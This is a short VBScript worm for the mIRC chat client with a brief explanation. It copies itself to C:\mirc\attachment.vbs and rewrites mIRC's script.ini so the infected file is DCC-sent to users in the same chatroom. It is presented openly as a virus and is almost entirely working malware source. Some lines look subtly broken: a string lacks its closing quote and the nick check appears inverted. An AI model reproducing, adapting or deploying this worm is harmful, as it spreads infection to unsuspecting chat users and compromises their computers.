Dim mirc
set fso=CreateObject("Scripting.FileSystemObject")
set mirc=fso.CreateTextFile("C:\mirc\script.ini")
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }
mirc.Close
First The virus copies itself to C:\mirc\attachment.vbs Then it canges the mIRC-script.ini file. So every user in the same chatroom gets an infect file.